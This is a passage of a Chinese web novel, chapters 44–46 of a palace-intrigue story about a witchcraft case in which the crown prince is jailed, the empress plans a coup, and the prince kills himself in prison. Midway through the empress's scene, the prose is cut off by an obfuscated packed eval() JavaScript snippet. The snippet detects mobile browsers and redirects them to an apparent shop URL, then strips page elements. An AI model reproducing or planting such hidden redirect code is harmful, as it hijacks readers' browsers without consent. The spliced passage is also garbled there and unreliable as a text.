几个侍卫闻声冲进殿内,强行撬开吴忠义的嘴,为防止吴忠义再自尽,在吴忠义嘴里塞满木块。 领头的侍卫道:“殿下,此处污脏,还望殿下移步。” 刘安平复好心情后,回头道:“看好他,别再让他自尽。” “殿下——殿下——” 吴善辅急急忙忙地小跑过来,喘着粗气道:“殿下,速速回福宁殿。” 随后凑到刘安耳旁,低声道:“朝臣们集体上奏要陛下处置太子殿下,陛下看过后,气得晕倒了。” “什么?” 眼下太子因巫蛊入狱,皇后被禁足,英王身子不适,父皇如今又晕倒…… 栾南战事尚未结束,胡人又虎视眈眈…… 刘安闻言,只觉一阵绝望,险些站不稳,踉跄几步。 “殿下,眼下……” 长公主刘安自幼长在陛下身旁,吴善辅也是看着刘安长大的,因此见她险些摔倒,面露心疼之色,柔声安慰道:“殿下需得多保重身体,眼下可还要殿下主持大局呢。” 刘安稳定心神,下令道:“即刻封锁消息,父皇晕倒一事不得让更多人知晓。召七皇子进宫,加强皇宫的守卫,不许宫人随意出宫。” “去福宁殿!” 44. 巫蛊(十四)效仿前人 “娘娘!” 长秋宫里,蔡尚宫神色慌张地跑向皇后身旁,小心翼翼看向皇后的,缓缓开口道:“娘娘,不好了……” “什么不好了?本宫和太子不都还好好的吗?”皇后嗤笑一声,左手把玩着数颗黑棋,右手捏着一颗白棋,只专心琢磨着眼前的棋局,头也不抬。 皇后不屑道:“禁足又不是什么大不了的事,先前不就有过一次吗?后来陛下不还是看在父亲、看在哥哥的面子上,放本宫出来了吗?” “你是自小跟我一起长大的,什么场面没见过,怎的今日这般不稳重?”皇后调侃几声,依旧忙着和自己对弈。 “你快来帮我看看,我这颗白棋要落到哪里好呢?” 自皇后被禁足起,后宫之事全权交由贵妃打理,皇后也便不再过问宫里的事。因此,中秋宫宴上发生的事,她一概不知。 蔡尚宫哭丧着脸道:“娘娘,昨日中秋宫宴,陛下在太子殿下的东宫发现了巫蛊所用的人偶,陛下大怒,封禁东宫,如今……朝臣们又纷纷上奏要求处置太子殿下!” “娘娘,快想想办法救救太子殿下吧!” “什么?”皇后听闻太子刘牧入狱,一晃神,手中的白棋啪地一声落在黑棋中间。 皇后不敢相信自己的耳朵,怔怔问道:“巫蛊?这怎么可能!以太子的人品,怎么会做出巫蛊这样的事情呢?” 皇后不可置信地摇着脑袋,但已方寸大乱,喃喃道:“不可能,不可能!太子已立二十余年,如今又已监国数年,断没有理由要诅咒陛下!” 皇后当即变了脸,扭头死死盯着蔡尚宫,厉声喝道:“这些谣言都是谁传出来的!” 如今有这样的谣言传出来,对太子实属不利。 定是那贵妃与秦王! 他们可一直都虎视眈眈地盯着储君的位置,中秋宫宴又是贵妃筹办的,定是他们! 自秦王刘茂回京后,京里就一直不太平。如今竟又策划出这么一出来诬陷太子! “本宫要去见陛下,让陛下为太子做主!” 皇后猛地站起身,提起裙摆便要闯到福宁殿。此时皇后已顾不得和皇帝之间的过节,也顾不上自己颖州蔡氏的风骨。 她现在想的,只有护住太子,只是想护住太子而已。 “娘娘!” 蔡尚宫拦住愤然的皇后,对上皇后质疑不解的眼神,无奈地垂下头,言语戚戚道:“昨夜,陛下、长公主、还有皇室宗亲们,都亲眼看见了东宫的那人偶……” “今日丑时,更是在东宫太子寝殿外挖出了个人偶。” “寅时三刻,东宫一干人等已被关押起来。” “太子所行巫蛊一事,只怕已是板上钉钉了。” 蔡尚宫将吴善辅交代给她的话如实转述皇后,眼中含着泪,言辞恳切道:“娘娘,吴公公说,陛下被那些臣子们的折子气晕了,至今未醒,这才找到奴婢,看看娘娘这里有没有什么法子,能够救下太子殿下。” 东宫……太子……巫蛊……人偶…… ……关押…… 哪里还有什么办法呢? 皇后颓然地坐在椅子上,无力地闭上颤抖的双眼。 她原以为,她与陛下只是一时之气,毕竟她背后可是颖州蔡氏,她又有太子傍身。 待到中秋过后,陛下便会解了她的禁足,到时,她依旧还是一国之母。 可谁曾想到……谁曾想太子竟被卷入了巫蛊案中!如今还入了狱! 皇后双眼无神,浑身精力与气血仿佛被抽干了,颓然地倚靠着榻,瘫坐在地上,嘴里不住地喃喃念着:“巫蛊……巫蛊……” “娘娘,昔日戾太子曾被卷入巫蛊之祸中,后又……”蔡尚宫越说越小声,头也越垂越低。 皇后日日以卫皇后为榜样,处处效仿卫皇后。太子入狱,蔡尚宫作为皇后的身边人,自然也想到了当年那桩巫蛊冤案。虽她同皇后一般心急如焚,但又怕给皇后出馊主意,故而不敢再多言。 “呵!”皇后自然也想到了那桩巫蛊冤案,不由得冷哼一声,面无表情道:“陛下要效仿武帝,意欲杀子而改立他人。” “可本宫不是卫皇后!陛下也不是武帝!且兄长族人俱在,我颖州一族还是望族,容不得陛下这般胡来!” 皇后下定决心,扭头问向蔡尚宫:“看守长秋宫的侍卫什么时候最是松懈?” 蔡尚宫心中疑虑,犹豫片刻,还是如实回道:“娘娘,侍卫每隔一个半时辰轮换一次,每逢轮换交班之际,便是看守最松懈之时。” 皇后思定,转身去了内殿,换上了宫人服饰,取出印玺。 蔡尚宫见状惶恐不已,忙拦住皇后:“娘娘,你这是……” “陛下不仁,就休怪我不义。若我今日不起兵,日后岂不也会像当年卫后那般自缢而亡?那我的牧儿呢?” “那是我怀胎七个月早产生下的孩子,他从小就那么乖,那么用功,读书作业从未有过一日的偷懒,也从未有过一次的忤逆他的父皇……自他监国揽政那日起,他哪一天不是兢兢业业、爱民如子?” 皇后一想起太子刘牧,眼泪便忍不住地涌出来,泣不成声,颇为怨道:“巫蛊之事尚未查清,陛下便将牧儿下狱,心未免太狠了。有这样一个心狠手辣的帝王,朝中诸臣岂不要人人惶恐?天下百姓又如何能安居乐业?” “娘娘,这可是……可是谋反啊!”蔡尚宫满脸惊恐地看向皇后,扶着皇后的双臂,缓缓跪在皇后脚边,拦着皇后的去路。 “自我在闺中时,你一直侍奉在我身边,从国公府到长秋宫,几十年的相处,你还不清楚我的脾气秉性吗?” “我拿定主意的事,何时动摇过?”皇后拔出随身携带的短刃,刀尖挑起蔡尚宫的下巴,直勾勾地盯着蔡尚宫的眼睛,恩威并施道:“你若再拦着我,误了时辰,我是不会手下留情的。” 蔡尚宫闻言,松开了攀着皇后的双手,浑身仿佛被抽干精气一般瘫坐在地上。 皇后嘴角松开蔡尚宫,嘴角勾起一抹笑意,眼神依旧坚定道:“你若害怕,便先躲起来。若你有胆量,便且待在长秋宫,待我率兵围住皇宫之时,还需要你与我接应呢。” 皇后说罢,不再理会蔡尚宫,大步越过蔡尚宫,朝着长秋宫门走去。 蔡尚宫直起腰身,从容不迫地处理好整理好衣衫,朝着皇后的背影一拜,语气铿锵有力道:“娘娘此去……万分小心,我会为娘娘守好长秋宫。待我替娘娘引开在外看守的护卫后,娘娘再出去方可万无一失。” 皇后侧身看向蔡尚宫,欣慰一笑,点了点头,真不愧是我晋国公府出来的人,从来没有一个是贪生怕死之辈。 蔡尚宫看着皇后的身影渐隐,估摸着侍卫换班的时辰,佯装惊恐大喊道:“来人呐!有刺客!快来抓刺客!” 看守的侍卫听到蔡尚宫的呼喊,一行人等匆匆进了长秋宫。 皇后穿着宫人的服饰,则趁乱跑出了长秋宫,奔着晋国公府去了。 皇后轻车熟路地赶到晋国公府,悄无声息地来到晋国公面前,幽幽开口道“兄长。” 晋国公看到面前宫人打扮的皇后,大吃一惊:“娘娘,你不是在禁足吗?怎么……” “娘娘现在找我来所为何事?” “太子危在旦夕,我特来寻求兄长相助。”皇后端着兵符,正色道:“这是皇后兵符,可召令宫中羽林军。再配合上我们晋国公府蓄养的死士,我们兵分两路,一路去救出太子,一路围了福宁殿,即刻拥立太子登基!” 晋国公听后不免有些愣神,呆愣在原地,不敢相信他所听到的,待回过神来,才开口道:“我待会派人悄悄把你送回去,别旁人发现了。” 晋国公四下观察一番,忙掩住门窗,将皇后往密室推去。 皇后一拧身,挣开晋国公手臂,恨铁不成钢道:“还愣着干什么?还不快去!” 皇后见晋国公不为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274241|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所动,催促道:“如今趁着陛下昏迷,我们需抓紧行事,不得有半分的耽误!” 皇后推搡着晋国公,岂料晋国公如一座钟一般,依旧站在原地一动不动,皇后不免怒道:“你可知道你这样会害惨了太子!” “我们只需再耐心等上几日,待陛下把气消了,太子自然就出来了。虎毒还不食子呢,难道陛下真能杀了自己的亲儿子吗?”晋国公试图说服皇后,“即便陛下那么厌恶二皇子,也从未想过会要了他的性命啊!” 晋国公苦口婆心劝道:“娘娘,只需再耐心等上几日便好,待陛下查明真相,自然会还太子殿下一个清白。到那时,既能保住太子,也能保住我们家的荣华富贵。” 皇后闻言,步步紧逼,反问道:“兄长,那贵妃与秦王心思缜密,阴谋诡计不断,又素对太子之位虎视眈眈,有他们在,太子哪儿会轻易被平反?真相哪里会轻易被查明?” “兄长,此乃危急存亡之际,容不得半点马虎耽搁!” “当年武帝太子,不就是深陷巫蛊之祸,未能及时自救,最终才如了贼子的心意吗?如今又怎能重蹈覆辙呢?” 晋国公听完,手指发抖,语气发颤道:“你……你这是要效仿卫皇后?” 晋国公踱了几步,开口道:“武帝晚年,卫皇后兵变最终失败,卫氏一族被屠杀殆尽。可如今陛下正值壮年,更何况如今太子又刚入狱,我们……” “起兵造反是诛九族的死罪,可眼下风云未定,何须到起兵造反那日?娘娘!您是中宫皇后,日后不论是哪位皇子继位,您都是太后,只要有您在,我们家的荣华富贵就不会断!” “哈哈哈哈哈!那可是你的亲外甥,那可是你亲妹妹怀胎数月生下的孩子,和哥哥你可是血脉相连呐!”皇后气急反笑,她竟不知,她这个兄长竟这般天真,竟全然不顾太子的安危,竟想着日后新帝登基还能维持着家族荣耀。 那贵妃和齐国公可是个好相与的?秦王刘茂真能忘记他在胡人那里的数十年而对晋国公以礼相待吗? 难道还想着新帝登基后还能舒舒服服地做晋国公吗? 皇后讥讽道:“兄长,父亲临了,将晋国公府、蔡氏一族全都托付于你,可你呢?不曾想你竟这般懦弱胆怯。” 皇后见晋国公依旧无动于衷,恨铁不成钢道:“兄长也是跟随父亲东征西讨过的,怎么如今这么懦弱了?” 皇后心中对晋国公还是有些期许:“兄长不也曾立下誓言,立志要兴盛家族吗?怎么先前的豪情壮志都烟消云散了吗?” 晋国公啪地一掌拍在桌子上,怒道:“难道你非要葬送了我们一家子,葬送颖州蔡氏一族吗?” 当今这位陛下,心思深沉,隐忍不发,这些年来看着他们这些名门望族相斗,坐收渔翁之利,收拢权力,朝中要职所用之人皆是他科举选上来的,是他们低估了当今这位陛下。 东宫发现的巫蛊人偶来得太过于突然,不知是否也是这位陛下的手笔。 陛下昏迷得也太是时候,不知是否为了将颖州蔡氏全部诛灭。 他这个傻妹妹哟,眼下哪里是能轻举妄动的时候? 皇后冷笑一声,出言嘲讽道:“不知百年之后,哥哥还有何颜面面见父亲?” 晋国公幽幽开口道:“创业容易,守业难,我眼下便是在守业,自然会比父亲更难一些。哪怕来日见到父亲,想来父亲也是会体谅我的。” 皇后与晋国公话不投机,皇后一甩袖子,背过身去,怒道:“我一生以卫子夫皇后为榜样,处处躬亲,统御宫闱,抚育太子,勤勉奉上,可惜,却没有卫青那样的好兄弟、霍去病那样的好侄儿,只有你们这样的草包兄弟!” 晋国公弓腰行礼,恭敬道:“娘娘,你出宫太久了,该回去了。” 皇后看着眼前塌腰屈膝唯唯诺诺的晋国公,气不打一处来,满腔愤恨地推开房门,临行前,侧头怒道: “只恨我没有卫青那样的兄弟!” 45. 巫蛊(十五)偷天换日 皇后出宫的消息传到福宁殿,传到了永安长公主刘安和英王刘元耳中,二人如临大敌。 “眼下还有一事,更为要紧。”英王刘元皱眉思虑片刻,抬眼道:“皇后出宫,御林军有动,父皇又昏迷未醒,我们需打起十二分的精神。” 永安长公主刘安疑惑不已,揣测道:“皇后出宫?她不是被父皇禁足了吗?御林军有动……难道她还动用了兵符?” 刘元点头应道:“是了,父皇只是禁足了皇后,并未收走她手上的皇后金印和御林军的兵符。如今父皇昏迷,难保皇后没有听到风声……” 刘元眉头紧锁,指节一下一下地敲击着桌面,思考着对策。 皇后日日以前朝的卫皇后为榜样,难保她不会像卫后一样,起而兵变,到时便又是一场浩劫,京师一片狼藉。 保不齐还会像十二年前那样,颖州失守,京师北边的防御线尽破,胡人再打过来…… 刘安不敢再想下去,顷刻间六神无主,慌神问道:“那我们要怎么办才好?” 刘安焦急不安,慌乱地踱了几步,问道:“不如发动宫中禁卫军和京中的护城军来抵御兵变,再加强京城守卫,全城戒严?” “我知道禁卫军的兵符放在哪里,待我悄悄取来便是,只是护城军中多是太子的手下,单凭兵符只怕难以差遣他们,还会让他们有所警觉……” 刘元听后,迟疑地摇摇头,说出心中顾虑:“禁卫军需得父皇手中的兵符才能调动,护城军需要太子的金印方可传唤。如今我们两个,一无兵符,二无调兵遣将的权力,无权无符。更何况眼下只是个扑风捉影的消息,若此时贸然调动京中军队,很是不妥。” “如今父皇昏迷不醒,倘若一个处理不慎,被皇后和晋国公占了上风,日后皇后反扑,打出清君侧的名号,反咬我们是谋逆的叛贼,那可才是难办。” “即便是父皇醒来,大局已定,父皇再怎么运作也是无济于事,还会让父皇先前的布局付诸流水。” 刘元的担忧不无道理,史书向来都是胜利者书写的,今时今日,皇后的意图不难揣测,倘若皇后兵变成功,皇后便是胜利者,便会掌握话语权,日后史书如何记载,则将全看皇后的心意。 前面一片迷茫,摸不着前进的方向。如何让当前的局势平稳落地,是个大问题。 饶是刘元博览古今,可事发突然,他又有诸多顾虑,一时间也无法想出什么更好的对策。 “去见太子!”刘安眼睛一亮,拍桌而起。 皇后爱子如命,那眼下也唯有太子才能止住这场祸事。 一来,皇后只太子这一个儿子,起兵也是为了保住太子扶太子登基即位。 二来,以太子为筹码,方可与皇后及晋国公谈判。倘若皇后不顾念太子安危,执意起兵造反,意图改朝换代,那他们便师出无名,便是那叛贼谋逆,人人得而诛之。 即便是他们攻下了京城,改朝换代登上了帝位,那也是乱臣贼子篡权夺位。 不说天下的皇室宗亲不服,单就栾南的诚王叔,便第一个不服,他们又怎么能坐得稳这江山呢? “对,去见太子。”刘元听后点点头,只要太子在他们手上,皇后定不敢轻举妄动。 刘安见刘元同意,当即下令:“备马,即刻去狱中,见太子!” “且慢。”刘元喊住刘安,道:“宫中不少的宫人内官,都与颖州蔡氏有所关系,我们若离开福宁殿,父皇跟前亲近之人,难免有人会动别的心思……即刻召七弟来福宁殿,守在父皇跟前,保卫父皇安危。” 刘安点点头,当即安排下去。 待刘元与刘安二人安排妥当之后,二人匆匆赶去关押太子的天牢。 马车一路疾驰。 刘安有些忧虑道:“元弟,天牢的人皆以父皇的旨意为主,我们没有旨意,只怕难以将太子带出来。” 刘安的忧虑不无道理。 刘元思索片刻,做出一个大胆的决定:“偷天换日。” 说罢,刘元说出他的计划:“大姐姐,你先拖住天牢的官员,尽量多拖些时间,我去狱中见太子,找人留在狱中假扮太子,再偷偷将太子替换出来,如此,以太子来挟制皇后。” “咳咳——”刘元本就身子孱弱,近来又变故频发,思虑颇多,身体状况愈来愈差。 刘安轻轻拍着刘元的后背,抚顺刘元的气息,看着刘元面无血色,脸色惨白,心疼道:“天牢环境不好,你身子差,哪里受得了里面的环境?我代你去吧。” “不用——咳咳——咳咳——”刘元话还没说完,便剧烈地咳嗽起来。 刘安安抚道:“就这么决定了,我知道该怎么做,你放心。” 马车一路疾驰,不多时,便到了天牢入口。 刘安稍稍整理好钗环,拿出长公主的威严,换上一副庄严的面孔,徐徐走下马车。 “微臣等拜见永安长公主殿下。”狱守跪地行礼。 刘安抬手,施施然道:“都起来吧。”刘安上前一步,正色道:“本宫前来,是奉父皇的口谕,召见太子。尔等带路吧。” 闻言狱守们面面相觑,皆不为所动。 刘安上前走了几步,见众人没有反应,仍旧跪在她的脚边,挡在她面前,侧头问道:“可还有异议?” 狱守大着胆子道:“烦请殿下拿出陛下的诏书来,待臣等验明诏书后,自会带人来见殿下。” 天牢里关押的犯人身份特殊,多是皇亲贵胄、高官显贵,对于这些人等的处决,狱守们全凭皇帝的诏书。若无诏书,狱守们是不会放任何一个人进去的。稍有不慎,便会人头不保。 刘安深吸一口气,而后又长长呼出,面上略带了些心虚,但语气并不露怯:“父皇安排的匆忙,并未来得及写下诏书。” “这……”狱守们犯了难,虽说长公主是陛下心尖尖上的人,前不久长公主提剑夜闯宫门都没被追究,但,天牢非比寻常,若无诏书,一只苍蝇也是飞不进来的。 狱守们斟酌再三,犹豫问道:“可有陛下金印?” 见陛下御赐金印,如陛下现身。倘若长公主能拿出来金印,便可证实所言不虚,若拿不出来,那便有假了。 “怎么?你们是觉得本宫会诓骗你们?”刘安质问道。刘安心中不免有些发虚,父皇御赐的金印她倒是有,只是……怕父皇给她的金印与狱守们要见的金印有所不同,若拿出来让狱守细看,难免会露出破绽。 “微臣不敢……”狱守们嘴上如是说着,但身子仍旧坚定地挡在天牢门口,没有丝毫的畏惧。 刘安见此情形,知道若她拿不出金印,是见不到太子的。思虑再三,刘安还是拿出了御赐金印,飞速地在狱守们眼前一晃,而后又快速收回,昂首侧身道:“金印你们也看过了,可需要验一验这金印的真伪?” “还请殿下——”一狱守看得不仔细,出言道,话还未说完,便被身边人制止。 狱守们对视一眼,虽心中拿不准,但见长公主拿出金印,况且长公主也不好得罪,纷纷起身让开一条路,不再挡在刘安面前。 狱守们小跑着打开通往天牢的门。 一股湿热、腐烂的气息顺着天牢的通道翻涌上来,扑在刘安脸上,刘安忍不住皱紧了眉头,轻咳一声,用衣袖遮掩住口鼻。 狱守见刘安受不住天牢的环境,垂头侍立在旁,出言道:“殿下,自陛下登基起,天牢许久未曾关押过犯人,年久失修,味道有些难闻。殿下千金贵体,不宜去天牢,不如让臣将太子殿下带出来……” 刘安拒绝道:“不必了,带路吧。” 狱守道:“微臣这就为殿下带路。” 刘安微微颔首,跟着狱守走进天牢。 天牢通道低矮,来往人员需得猫着腰,否则便会碰到墙壁。通道又狭窄,仅容两人并肩而过。 狱守弯着腰,提灯照着脚下的路,小心提醒道:“殿下,天牢昏暗,地面湿滑,多当心。” 刘安顺着灯光看去,只见这条通往天牢的通道全是台阶,一层一层台阶上布满了青苔,甚为湿滑,刘安十分小心地顺着台阶往下走。 走了大概一百个台阶,总算是到了牢房,这里的空间要比通道宽敞了许多。 狱守带着刘安来到关押太子的牢房前,后退几步,侍立在旁。 刘安侧头乜视了眼狱守,道:“你退下吧,本宫有话要同太子讲。” 刘安不放心地叮嘱道:“传本宫的旨意,父皇的口谕容不得第三人知晓,不许任何人靠近。” “这……”狱守有些迟疑。 刘安咬牙切齿威胁道:“父皇可并未曾下诏废黜太子!” “是。”狱守忙垂着头退下。 刘安看着眼前消瘦颓然的太子,心疼不已,双手颤抖地伸在栏杆前,语气带着些哽咽:“太子,你受苦了。” 太子刘牧见刘安前来看他,激动不已,以为父皇查明了真相还了他清白,兴冲冲地起身,扶着牢房的栏杆,急切问道:“大姐姐,可是父皇有旨意?” 刘安闻言,抬头望向太子,见太子一脸期待,不忍将消息说与太子,不忍太子再受到打击,无奈地垂下头,摇摇脑袋不言语。 刘牧不解,欲开口再问,只见刘安“嘘”了一声,忙止住声音。 刘安听着狱守渐行渐远的脚步声,直到听到天牢的门打开而后又关上,狱守的脚步声消失后,这才压低声音,将她来天牢的目的徐徐说与太子听:“父皇昏迷,皇后——”刘安抬眼看了眼太子,继续说道:“皇后带着兵符出宫了。” 刘牧听后一怔,愣在原地,脑海里思绪翻涌。 母后带着兵符出宫,难道是要联合舅舅起兵造反吗? 造反可是诛九族的死罪…… “我们一同进宫去,守在父皇面前,若是外面真乱起来,于你也好有个照应。再者,真相已查明,只待父皇醒后,还你一个清白,也好过在这天牢里受苦。”刘安一边说着,一边拿出牢房的钥匙去挨个配对。 “真相?大姐姐,究竟是谁陷害我?”刘牧抓住一个关键词,握住刘安的手腕,目光如鹰。 刘安垂下头,躲开刘牧的眼睛。手心手背都是肉,二弟和太子都是她骨肉相连的血亲,她实在是不忍心看到血脉相连的兄弟互相残杀。 虽说如此,可太子……又是何其无辜……无辜被卷入这么一桩祸事? 刘安犹豫再三,还是说了出来:“是二弟。” 竟然是他…… 刘牧嘴唇抽动不已,脸上扯出一个比哭还难看的苦笑。 平日里兄友弟恭的亲兄弟反目,互相陷害。 刘牧眼眶微红,抽了抽鼻子,此时此刻,他实在是不知该如何是好,可眼前的情形根本容不得他停下细细思考。 二哥设下这个局,为的是他。 母亲与舅舅起兵谋反,为的是他。 父亲昏迷不醒,天下动乱,为的是他。 东宫诸人皆被押在这天牢中,为的也是他。 长姐长兄冒着假传圣旨的危险,为的,还是他。 哈哈哈哈哈哈哈,兄弟相残,母亲帮着儿子造父亲的反。这便是他自幼习读的圣贤书吗?这便是他自幼学的仁义孝悌吗? 如果仁义孝悌是兄弟相残、父要子死,那他做不到,他做不到! “太子,你和我的宫人互换衣裳,外面天色渐暗,你出去的时候头再压低些,狱守们看不出来的,元弟也在外面等着接应我们。”刘安自顾自地说着,全然没注意到太子刘牧的神情。 一把一把的钥匙挨着试过去,总算把关押着太子的牢房打开了。 刘安喜不自禁,小步跑进牢房,眼里含泪,扶着太子刘牧的肩膀上下打量一番,身上并无多余的伤痕,放心不少,忙不迭轻声催促道:“时间不等人,快换上吧。” “大姐姐,御书阁的古籍我都读遍了,没见过史书上有谁能从天牢里出来的。”刘牧淡然笑着说出来。 “我既已入狱,便没想着能出去。若要出去,便要父皇亲手写下的诏书,只是父皇若写下这诏书,岂不是告诉天下万民,当今天子黑白不分么?天子威信俱损,日后,还如何让天下子民信服?” “父皇一步一步如何走来,如何坐稳这皇位,如何强盛我大江,我这个做儿子的,都看在眼里,记在心里。父皇步步为营,若我逃出天牢,坏了父皇这么多年的精心布局,岂不可惜?” 刘牧转身,席地而坐,苦笑不已,嘴里喃喃道:“我在太子之位已有二十余年,上敬兄姐,下护弟妹,如今……我是真的累了。” “我不想再折腾了。” “既然二哥想做太子,那这太子之位便让给他吧。” “四弟也想做太子,让他们争去吧。我不想争了。” 他不是不知道,父皇一直把他当做一枚棋子,用来制衡世家大族的棋子,用来收拢皇权的棋子。有他这个太子在,便可让晋国公和齐国公斗个不停,便可让颖州蔡氏与汀州张氏针锋相对,两虎相争,最后必是两败俱伤,如此,便再也无人敢制衡皇权了。 刘牧长呵一口气,有力无气道:“呵——大姐姐,我累了。” “你在说什么?”刘安走至刘牧面前,不可置信地看着眼前地太子说出这般颓废的话语,反驳道:“ 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“可是……”刘安没想到太子内心竟然背负了这么多,还想再说些什么,试图再次劝说太子跟随她离开天牢,不想狱守催促。 狱守隔着长长地通道,在天牢门口喊道:“殿下,来的时间已经很久了,是否要现在回去?” 刘牧听到狱守的声音,隐秘地擦去脸上的泪痕,把刘安推出牢房。 刘安不满地白了一眼通道的方向,正欲开口发难,被刘牧喊住。 “大姐姐,我知道你的意图,你不必担心。”刘牧安慰道:“可有纸笔?我写封书信给母后,她看了自会明白的,兵乱也不会再有了,京中百姓也可安居乐业,不会受到战乱之苦。有了这封书信,大姐姐也不必再多忧心了。” 刘安拗不过刘牧,只能无奈地冲狱守喊了一声:“拿纸笔来!” 狱守不敢有丝毫耽搁怠慢,忙拿来纸笔,摆好放在刘牧面前。 刘牧接过纸笔,洋洋洒洒写下两封书信,分别折好之后,交于刘安。 刘牧拿着其中一封书信,认真叮嘱道:“大姐姐,这是和离书,还请大姐姐保管好,带给温国公。” 说罢,又拿出另一封书信嘱托道:“这封书信,还请大姐姐带给父皇和母后吧。” “我心愿——”已了二字还未说出口,刘牧似有想到了什么,眉头又重新锁上,忧心忡忡道:“往后,收复漳州五城,阻击胡人,平定诚王,抗击海寇的事情,还要烦请大姐姐替我见证。如此,便是真的无憾矣。”心中所想之事说出来了,刘牧终于如释重负。 刘安琢磨不透刘牧的心思,心中隐隐有些不安。 刘牧又取出头上的发簪,一并交给刘安,“大姐姐,这个玉簪,你带给舅舅看,他看过之后,便会明白。” “这个太子之位,本来就该是四弟的。我只不过是机缘巧合,比他早些时辰生了出来,占了他的位置,还让他远离父母十二年……是我对不住他。” “如今,他也能堂堂正正地坐上这个位置了。” “太子……此言何意?”刘安不甚明白,太子为何这般说辞。明明真相已查明,只待父皇苏醒,便可还太子清白,他为何?她甚至不敢去想,不敢去猜,不敢去揣测,怕她想的会成真。 刘牧释然笑着,催促道:“大姐姐,我意已决,你走吧,快回宫去吧。时不待人。” “你……多保重。”太子说得不错,时不待人。如今情势危机,容不得她在这边优柔寡断儿女情长,刘安盯着刘牧,语气坚定且担忧道:“你答应我,一定要耐心等着,千万别做傻事,待父皇苏醒,我定为你讨来诏书还你清白,你且等着。” 刘安交代完之后,十分不放心,一步三回头地别过太子刘牧。 走过通道时,碰巧遇到一前来送饭的狱卒,狱卒跪下低头避让,刘安也并未多在意,匆匆离去,前去与天牢外等着刘元回合。 “太子呢?”刘元在上面等着连连踱步,见刘安身后并没有跟着太子,疑惑问道。 “太子不肯。”刘安失神地摇摇头,而后掏出太子的玉簪,抬眼道:“这是太子信物,依太子的,我们先去晋国公府。” 刘元摩挲着太子的玉簪,默然地点点头。虽然他不知道刘安同太子讲了些什么,但也能大致猜出太子心中在想什么,太子想用自己去换兄弟和睦,想用自己去换京城安定,想用自己去换天下太平。 刘元别无他法,只能把眼下的事情先解决了,只能等待父皇苏醒。 二人匆匆来到晋国公府,派了身边的宫人前去将太子的玉簪交予晋国公。晋国公看过后,脸色一惊,而后又变回一副镇定自若的模样,滴水不漏地回着宫人的问话。 宫人见问不出什么,又见国公府内并无异常,忙拜别晋国公,来向刘安刘元二人回话。 刘安刘元见状,虽不大相信,但也别无他法。 秦王府倒是离晋国公府最近。刘元想至此处,便派人先去秦王府招呼一声,借以京中有匪盗出没的由头,让秦王府兵来国公府附近搜查。 若国公府有异常,秦王便可最先发现,会有所准备,不至于被晋国公打个措手不及。 安排妥当之后,二人又急急忙忙回了福宁殿。 吴善辅见二人回来,忙笑着迎了上去:“二位殿下去哪儿了?陛下刚醒,正找二位殿下呢。” 刘安刘元二人对视一眼,解下披风,亦步亦趋,忙朝着内殿走去。 承道帝斜倚着,见他们二人出现,屏退众人,徒留下刘安,问道:“安儿,朕命你查的事,你查的如何了。” 刘安纠结地拽着手帕,有些于心不忍,缓步走至承道帝身前,不知该如何开口。 二弟命苦,自小衣不蔽体食不果腹,安稳日子没过几日。若此时说出他策划了巫蛊一事,父皇雷霆君威,他能否承受得住呢?可要是不说出真相,蒙骗父皇,岂不又要连累其他的弟弟吗? 承道帝看出了刘安的纠结,知她性情柔和,不愿看到手足相残,遂开口问出心中的疑惑:“那吴忠义是替谁办的事?可是秦王?” 刘安见巫蛊扯到了秦王刘茂的头上,木然地摇摇头,略显艰难地开口道:“是……是二弟……” 竟然是他!这个贱子!竟敢谋害太子!若他早知道这个贱子会做出这样的事情,当日就不应该留下他,当日就不应该容那个洗脚婢生下他!不待承道帝有所反应,外殿候着的吴善辅急匆匆进殿来报。 “陛下——”吴善辅一溜小跑,滑跪在承道帝面前,抬眼看向承道帝,又迅速垂下眼眸,从牙缝里挤出字来:“天牢狱守急报,太子殿下……狱中自戕。” 46. 巫蛊(十六)帝后对峙 太子自戕的消息宛如一个惊天巨雷,炸在承道帝耳中。 此时此刻,承道帝脑中只有白茫茫的一片,耳边不断地回闪吴善辅的话,太子自戕……太子自戕……太子自戕…… 太子,竟然自戕了。 刘安亦是如此反应。怎么可能呢?明明她才刚刚见过太子,怎么可能会…… 刘安兀的想起她与太子临别前,太子所说的那些奇怪的话语,竟是太子的遗言,太子所书的那两封信,竟是太子的遗书……顿时,刘安心中百感交集。 吴善辅见承道帝与长公主刘安许久未曾言语,小心翼翼地微微抬起头,快速抬眼瞟了一眼,小心翼翼道:“陛下?” 承道帝的思绪被这声陛下拉回,回过神来,但眼神还是空洞呆滞。 承道帝对太子寄予厚望,但太子性情优柔,不是那种杀伐决断之人,承道帝时常担心,在他百年之后,太子能否挑起一国之君的重担,能否肩负起江山社稷的重任,外戚是否会干政乱政,他辛苦筹谋收回的皇权太子又是否能把握住呢? 他不知道,他也不敢赌。为此,承道帝对太子十分严苛,他希望太子能成为一个合格的储君,能成长为一个杀伐决断的帝王。 甚至,在巫蛊之事发生之后,承道帝希望太子能做出些举动,能证明自己的清白,能为自己洗刷冤屈。 可不曾想,太子终究是过于愚笨平庸,非但没有丝毫的自救能力,还……还狱中自尽了,实在是枉为储君! 承道帝满是不甘地长叹一口气,无奈地闭上双眼。 不曾想他机关算尽,步步为营,竟会是这样的一个结果。 太子性格优柔,面对大事毫无抵抗能力,若来日胡人打过来,京城失守,江山满目疮痍,太子是不是也会像今天这样,害怕的自尽呢?想至此处,承道帝甚至还有些庆幸,庆幸太子腾出了储君的位置,庆幸太子的自我了断没有让他背负上杀子的罪名。 承道帝又重重地长叹了一口气,他原还想着借太子之手除掉颖州蔡氏,却万万没想到会是这样的一个结局。 太子这颗棋,费了。 承道帝思定,垂着眼,抬手让吴善辅退下了。 刘安心中懊悔不已,倘若她再坚定些,将太子从天牢中带出来,那太子也不会自戕了。 刘安双腿一软,扑通一声摔倒在承道帝面前。 承道帝惊呼一声:“安儿!” 